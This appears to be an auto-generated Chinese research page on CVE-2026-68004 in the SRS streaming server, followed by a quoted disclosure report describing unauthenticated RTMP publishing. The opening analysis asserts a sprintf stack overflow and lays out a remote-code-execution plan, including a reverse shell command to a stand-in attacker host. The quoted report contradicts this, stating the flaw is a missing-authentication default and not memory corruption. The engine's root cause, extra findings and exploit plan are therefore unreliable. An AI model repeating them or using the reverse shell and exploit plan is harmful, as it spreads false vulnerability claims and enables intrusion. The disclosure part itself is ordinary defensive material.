🔥 CVE-2026-68004 深度独立研究:源码审计 · 二次发现 · 利用方案
CVE-2026-68004 深度独立研究:源码审计 · 二次发现 · 利用方案
🔍 源码独立审计
对 https://github.com/ossrs/srs 源码进行独立审计(置信度 60%)。
🧬 根因独立理解
漏洞根因位于 trunk/src/app/srs_app_security.cpp 的 SrsSecurity::check() 函数。当 vhost 开启 security.enabled 时,该函数对 RTMP publish 请求中的 tcUrl、streamName 以及 query 参数进行解析,并拼接成用于安全审计的日志字符串。具体缺陷在代码片段:char log_msg[128]; sprintf(log_msg, "publish check: ip=%s, stream=%s, query=%s", ip.c_str(), stream.c_str(), query.c_str());。此处使用 sizeof 固定的栈缓冲区配合无边界限制的 sprintf,而 ip、stream 和 query 均可由远程 RTMP 客户端任意控制。攻击者构造超长 streamName 或 query 参数,使 sprintf 写入超出 log_msg 容量,覆盖栈上相邻变量及函数返回地址。补丁 diff 将该处替换为 std::stringstream 或 snprintf,并添加了参数长度校验:if (query.length() > 512) return false;。但根因是危险函数使用习惯,而非输入语义,补丁仅封堵了当前调用点,未对同类模式进行系统性替换。
🛤️ 漏洞触发链路
攻击者首先与 SRS 的 RTMP 监听端口建立 TCP 连接,完成 RTMP 握手和 connect 消息,设置目标 vhost 并触发 security.enabled 路径。随后发送 releaseStream 和 FCPublish 命令,最后发送 publish 命令,其中 streamName 字段携带超长恶意数据,并在 tcUrl 的 query 中注入精心构造的覆盖数据。SrsRtmpConn::publish() 在鉴权阶段调用 SrsSecurity::check(),该函数将用户可控字段 sprintf 到固定栈缓冲 log_msg,导致栈溢出,覆盖 SrsSecurity::check() 返回地址。函数返回时跳转到攻击者控制的 ROP 链或 shellcode(如栈上注入的 executable shellcode),最终调用 execve("/bin/sh") 或通过 mprotect 启用栈执行,实现远程任意代码执行。整个过程中无需任何有效发布凭据,仅需能够发送畸形 RTMP 消息。
🔁 二次发现(同类漏洞/扩展攻击面)
- trunk/src/app/srs_app_security.cpp:SrsSecurity::check_rule(): 该函数在解析安全规则中的 IP/掩码时同样使用固定 char 数组和 strcpy,若规则中 IP 字符串由 vhost 配置项控制且可被远程修改,存在同类栈溢出风险。
- trunk/src/app/srs_rtmp_conn.cpp:SrsRtmpConn::play(): play 请求在鉴权流程中复用 SrsSecurity::check() 的日志拼接逻辑,攻击者可通过构造恶意 play 流名触发相同溢出,无需 publish 权限。
🩹 修复完整性分析
当前补丁仅针对 SrsSecurity::check() 中的 sprintf 调用改为 snprintf,并增加了长度限制,能够阻断已知的直接溢出路径。但修复不完整:第一,同一文件内还存在多处类似的固定缓冲区+sprintf(strcpy) 模式,例如规则解析、IP 格式化和错误信息构造,攻击者可利用这些未修补点继续触发溢出;第二,补丁未对用户输入中的 shell 元字符进行过滤,若后续版本在鉴权流程中引入 popen() 或 system() 调用(如回调外部程序),仍可导致命令注入;第三,补丁未对 RTMP 消息中 streamName 的 AMF0 类型进行严格校验,若传入非字符串类型(如对象或数组),可能绕过长度检查进入深层解析逻辑,造成类型混淆。因此修复需全局性替换危险字符串操作,并增加输入白名单校验。
⚔️ 利用方案设计
利用方案针对未修复的栈溢出漏洞。第一步,使用 Python 和 scapy 构造 RTMP 协议包:建立 TCP 连接后发送握手包 C0/C1/C2,然后发送 connect 命令,将 tcUrl 设为 rtmp://target/app?vhost=victim,确保进入 security.enabled 校验分支。第二步,发送 createStream 消息获取流 ID,之后发送 publish 命令,流名设置为 "PAYLOAD",其中 PAYLOAD 布局为:前 128 字节填充 'A',覆盖 log_msg 缓冲区和相邻变量;随后 8 字节覆盖返回地址,将其指向栈中后部的 shellcode 或 ROP gadget(如 pop rdi; ret 与 system@plt);再附加命令字符串 "/bin/sh -c 'nc -e /bin/bash attacker_ip 443'"。为绕过 ASLR,可先利用 SRS 返回的 RTMP 错误消息(如 onFCPublish 错误)泄漏已写入内存的低 12 位地址,然后结合部分返回地址覆盖只修改低字节,使程序跳到预置的 NOP sled。若目标为 64 位且栈不可执行,则使用 ROP 链调用 mprotect(栈地址, 0x1000, 7),再返回到 shellcode。最终在攻击者机器上监听 443 端口,publish 触发后即获得目标服务器 shell。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源xuwu-xuwu/CVE-2026-68004针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# CVE-2026-68004:OSSRS / SRS 默认未启用鉴权导致未授权 RTMP 推流
>文档类型:漏洞技术报告 / CVE 公开说明
>CVE 编号:CVE-2026-68004
>影响产品:OSSRS / SRS(Simple Realtime Server)
>漏洞类型:缺少认证、不安全默认配置
>关联 PoC:`poc_srs_unauth_publish.py`
>
披露原则:仅用于授权测试、防护验证与负责任披露。请勿对未授权目标执行验证。
---
## 1. 漏洞标题
### 中文标题
OSSRS / SRS 默认未启用 `vhost.security` 导致未授权 RTMP 推流漏洞
### English Title
OSSRS / SRS Unauthenticated RTMP Publish due to `vhost.security` Disabled by Default
---
## 2. 漏洞摘要
OSSRS / SRS 在默认配置及部分官方示例配置中未默认启用 `vhost.security`。当目标实例未额外配置推流鉴权、HTTP Hook 鉴权或网络访问控制时,远程攻击者只要能够访问 RTMP 服务端口(默认 `1935`),即可在无需账号、密码、Token 或其他认证凭据的情况下发起 RTMP `publish` 操作。
攻击者成功推流后,服务端会返回 `NetStream.Publish.Start`,表示该未认证推流已被接受。该问题可能导致直播内容被污染、业务流被抢占、带宽资源被滥用,或配合暴露的管理 API 造成合法客户端被踢下线等业务影响。
该漏洞的核心问题不是内存破坏或代码执行,而是关键业务功能在默认或常见部署状态下缺少认证边界,属于不安全默认配置与关键功能缺少认证组合导致的安全缺陷。
---
## 3. 基本信息
|
项目 |内容 ||--- |--- ||CVE ID |CVE-2026-68004 ||产品 |OSSRS / SRS ||组件 |RTMP publish 流程、vhost security 配置 ||默认 RTMP 端口 |`1935/tcp` ||相关 HTTP API 端口 |`1985/tcp`,若启用并暴露 ||相关 HTTP 服务端口 |`8080/tcp`,若启用并暴露 ||攻击前提 |攻击者可访问目标 RTMP 端口 ||认证要求 |无 ||用户交互 |无 ||影响类型 |完整性影响、可用性影响 |---
## 4. 影响范围
已确认受影响场景包括:
- SRS 4.x / 5.x 中保持 `vhost.security` 默认关闭的部署;
- 使用官方示例配置但未显式配置 `security {enabled on;
... }` 的部署;
- 未配置 `http_hooks.on_publish`、Token 鉴权或其他推流鉴权机制的部署;
- 将 RTMP 端口 `1935` 暴露到公网或攻击者可达网络的部署;
- 同时暴露 `1985` HTTP API 且未启用 API 鉴权的部署,可能进一步扩大影响。
已在授权环境中验证的版本包括:
|版本 |验证结果 ||--- |--- ||SRS 4.0.268 |可在未认证条件下获得 `NetStream.Publish.Start` ||SRS 5.0.213 |可在未认证条件下获得 `NetStream.Publish.Start` |
说明:
- 该问题与具体补丁版本的关系取决于部署配置。只要实例保持推流鉴权关闭且 RTMP 端口可达,即可能受影响。
- SRS 5.0.152+ 引入的 `http_api.auth` 主要保护 HTTP API,不等同于 RTMP 推流鉴权;即使 API 鉴权开启,如果 RTMP publish 未受保护,仍需单独评估推流面风险。
---
## 5. 漏洞类型与 CWE
|分类 |说明 ||--- |--- ||CWE-306 |Missing Authentication for Critical Function:RTMP publish 是可写入业务内容的关键功能,但默认状态下可能未要求认证 ||CWE-1188 |Insecure Default Initialization of Resource:安全控制默认未启用,导致资源以不安全状态初始化 |
## 6. 技术根因
SRS 的 RTMP 推流安全控制依赖 vhost 级别的 security 配置。当 security 未启用时,安全检查逻辑会直接放行请求。
典型逻辑如下:
```cpp
// trunk/src/app/srs_app_security.cpp
srs_error_t SrsSecurity::check(SrsRtmpConnType type,string ip,SrsRequest* req)
{// allow all if security disabled.
if (!_srs_config->get_security_enabled(req->vhost)) {return err;// OK
}...
}
```
在该逻辑下:
1. 客户端连接 RTMP 服务;
2. 客户端完成 RTMP handshake;
3. 客户端发起 `connect`;
4. 客户端发起 `createStream`;
5. 客户端发起 `publish`;
6. 如果 `vhost.security` 未启用,服务端不会拒绝该 publish 请求;
7. 服务端返回 `NetStream.Publish.Start`,推流被接受。
问题的关键在于:`publish` 是会向服务端写入业务内容的关键功能,但默认或常见样例配置并未强制要求认证。
---
## 7. 攻击场景
### 7.1 未授权直播内容写入
攻击者可以向目标 SRS 实例创建任意流名并推送内容。例如目标存在:
```text
rtmp://victim.example.com:1935/live/<stream>
```
若目标未启用推流鉴权,攻击者可在无凭证条件下向 `/live/<stream>` 推送内容,造成直播内容污染、钓鱼内容投放或非法内容注入。
### 7.2 抢占业务流名
如果业务侧使用固定流名,攻击者可能抢先占用相同或相似流名,造成合法推流端失败、观众端看到攻击者内容,或业务调度异常。
### 7.3 带宽与资源滥用
攻击者可以持续推送媒体流,占用服务器上行/下行转发能力、CPU、内存、连接数或云带宽资源。
### 7.4 与未鉴权 HTTP API 组合扩大影响
部分部署同时暴露:
- `1935/tcp`:RTMP 服务;
- `1985/tcp`:HTTP API;
- `8080/tcp`:HTTP 服务或控制台。
如果 HTTP API 也未启用鉴权,攻击者可能进一步列举流、查看客户端连接信息,甚至调用管理接口踢掉合法客户端。该组合会显著扩大可用性影响。
---
## 8. 复现条件
复现需要满足以下条件:
1. 目标为 OSSRS / SRS;
2. 攻击者能够访问目标 RTMP 端口,通常为 `1935/tcp`;
3. 目标 vhost 未启用 `security`,或未配置有效的 `allow/deny publish` 策略;
4. 目标未通过 `http_hooks.on_publish`、Token、反向代理、ACL、防火墙或其他机制限制推流来源;
5. 测试行为已获得授权。
---
## 9. 复现步骤
### 9.1 使用 Python PoC 验证
本仓库提供了一个仅依赖 Python 标准库的最小化 PoC:
```bash
python poc_srs_unauth_publish.py --host <TARGET>
--stream cve_2026_68004_poc
```
如果目标存在该问题,输出中会出现:
```text
[+] VULNERABLE: received NetStream.Publish.Start (unauthenticated publish succeeded)
```
如果需要以 JSON 格式输出并同时探测 HTTP API:
```bash
python poc_srs_unauth_publish.py --host <TARGET>
--check-api --json
```
PoC 的确认标准是服务端返回 RTMP `onStatus` 消息,其中包含:
```text
NetStream.Publish.Start
```
这表示服务端已接受未认证的 publish 请求。
### 9.2 使用 ffmpeg 对照验证
在授权测试环境中,也可以使用 ffmpeg 推送测试源:
```bash
ffmpeg -re -f lavfi -i testsrc=size=320x240:rate=15 -c:v libx264 -f flv \
"rtmp://<TARGET>:1935/live/cve_2026_68004_poc"
```
若目标未启用推流鉴权,ffmpeg 会成功建立推流会话,服务端或播放端可观察到对应流。
---
## 10. PoC 行为说明
`poc_srs_unauth_publish.py` 的行为是:
1. 解析目标主机和端口;
2. 建立 TCP 连接;
3. 完成 RTMP C0/C1/S0/S1/S2/C2 握手;
4. 发送 `connect` 命令;
5. 等待 `NetConnection.Connect.Success`;
6. 发送 `createStream`;
7. 发送 `publish`;
8. 检查响应中是否存在 `NetStream.Publish.Start`;
9. 可选访问 HTTP API 端点,辅助判断 API 是否也处于未认证状态。
该 PoC 不需要发送完整媒体帧即可判断推流是否被接受,因此适合用于低干扰验证。但即便如此,测试仍应限制在授权目标和低影响时间窗口内。
---
## 11. 安全影响
成功利用后,攻击者可能造成以下影响:
- 向直播系统注入未授权内容;
- 覆盖、污染或抢占合法业务流;
- 诱导观众访问恶意直播内容或钓鱼内容;
- 消耗服务器转码、转封装、转发、存储或带宽资源;
- 干扰正常推流、播放和调度;
- 在 HTTP API 同时未鉴权的情况下,进一步枚举流、枚举客户端或踢掉合法推流端。
该漏洞对机密性影响通常较低,但对完整性和可用性有明显影响,尤其是用于公网直播、教育直播、会议直播、政企直播、低延迟互动直播或生产转码链路的 SRS 部署。
---
## 12. 修复建议
### 12.1 产品侧建议
建议官方从默认安全性角度进行调整:
1. 默认启用 `vhost.security`;
2. 默认拒绝未明确授权的 `publish`;
3. 在示例配置中给出安全默认模板;
4. 在 Docker、Docker Compose、快速开始文档中明确提示:不要将未启用鉴权的 `1935/1985/8080` 直接暴露到公网;
5. 在文档中明确区分 HTTP API 鉴权与 RTMP 推流鉴权;
6. 对公网部署场景提供最小安全配置样例。
### 12.2 用户侧缓解配置
建议启用 vhost security,并默认拒绝非可信来源推流:
```nginx
vhost __defaultVhost__ {
security {enabled on;deny publish all;allow publish 10.0.0.0/8;allow publish 172.16.0.0/12;allow publish 192.168.0.0/16;}}```
如果推流来源不固定,建议使用 HTTP Hook 或 Token 机制做业务鉴权:
```nginx
vhost __defaultVhost__ {http_hooks {enabled on;on_publish http://auth.example.com/srs/on_publish;on_unpublish http://auth.example.com/srs/on_unpublish;}}
```
### 12.3 网络层缓解
建议同时执行:
- 不将 `1935/tcp` 直接暴露给不可信网络;
- 使用防火墙、安全组或 ACL 限制 RTMP 推流来源;
- 将 `1985/tcp` HTTP API 限制到内网管理网段;
- 将 `8080/tcp` 控制台或 HTTP 服务限制到可信来源;
- 在 SRS 前置反向代理或网关时,明确区分播放面、推流面和管理面;
- 对公网域名和端口进行资产梳理,确认不存在意外暴露。
### 12.4 HTTP API 加固
如果启用了 HTTP API,应启用 API 鉴权:
```nginx
http_api {enabled on;listen 1985;auth {enabled on;username <strong_username>;password <strong_password>;
}}```
注意:HTTP API 鉴权不能替代 RTMP publish 鉴权。两者应分别配置。
---
## 13. 检测方法
### 13.1 配置自查
检查 SRS 配置中是否存在并启用了以下配置:
```nginx
security {enabled on;deny publish all;allow publish <trusted-source>;}```
如果未配置 `security`,或 `enabled off`,需要进一步确认是否存在其他推流鉴权措施。
### 13.2 端口暴露检查
检查以下端口是否对公网或不可信网络开放:
|端口 |用途 |风险 ||--- |--- |--- ||1935/tcp |RTMP |未鉴权推流、流抢占、带宽滥用 ||1985/tcp |HTTP API |管理 API 未授权访问 ||
8080/tcp |HTTP / Console |控制台或静态服务暴露 |### 13.3 行为验证
在授权范围内运行 PoC:
```bash
python poc_srs_unauth_publish.py --host <TARGET>
--stream cve_2026_68004_check
```
如果返回 `NetStream.Publish.Start`,说明目标接受了未认证推流请求,应立即加固。
---
## 14. 临时处置建议
如果短期内无法升级或调整完整鉴权链路,建议立即采取以下临时措施:
1. 在安全组或防火墙中仅允许可信编码器 IP 访问 `1935/tcp`;
2. 禁止公网访问 `1985/tcp` 和 `8080/tcp`;
3. 对固定推流源配置 IP allowlist;
4. 对直播业务流名增加不可预测性,降低被猜测和抢占风险;
5. 监控异常 publish、异常流名、异常来源 IP 和带宽突增;
6. 发现异常流后及时断开连接、轮换流名或切换鉴权配置。
这些措施只能降低风险,不能替代正式的推流鉴权。
---
## 15. 时间线
|日期 |事件 ||--- |
--- ||2026-07-24 |在授权测试环境中验证未授权 RTMP publish 行为 ||2026-07-24 |整理 PoC 与技术分析材料 ||2026-08-05 |更新报告并补充 CVE 编号:CVE-2026-68004 |
---
## 16. 参考资料
- SRS 源码:`trunk/src/app/srs_app_security.cpp`
- SRS 配置项:`vhost.security`
- SRS 示例配置:`trunk/conf/rtmp2rtc.conf`
- SRS HTTP API 鉴权文档:`Secure Your HTTP API`
- 本仓库 PoC:`poc_srs_unauth_publish.py`
---
## 17. 致谢
Reporter:HongYuan Liu
Contact:2449021042@qq.com
CVE:CVE-2026-68004⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 高危漏洞深度独立研究引擎生成 · 2026-08-20 03:02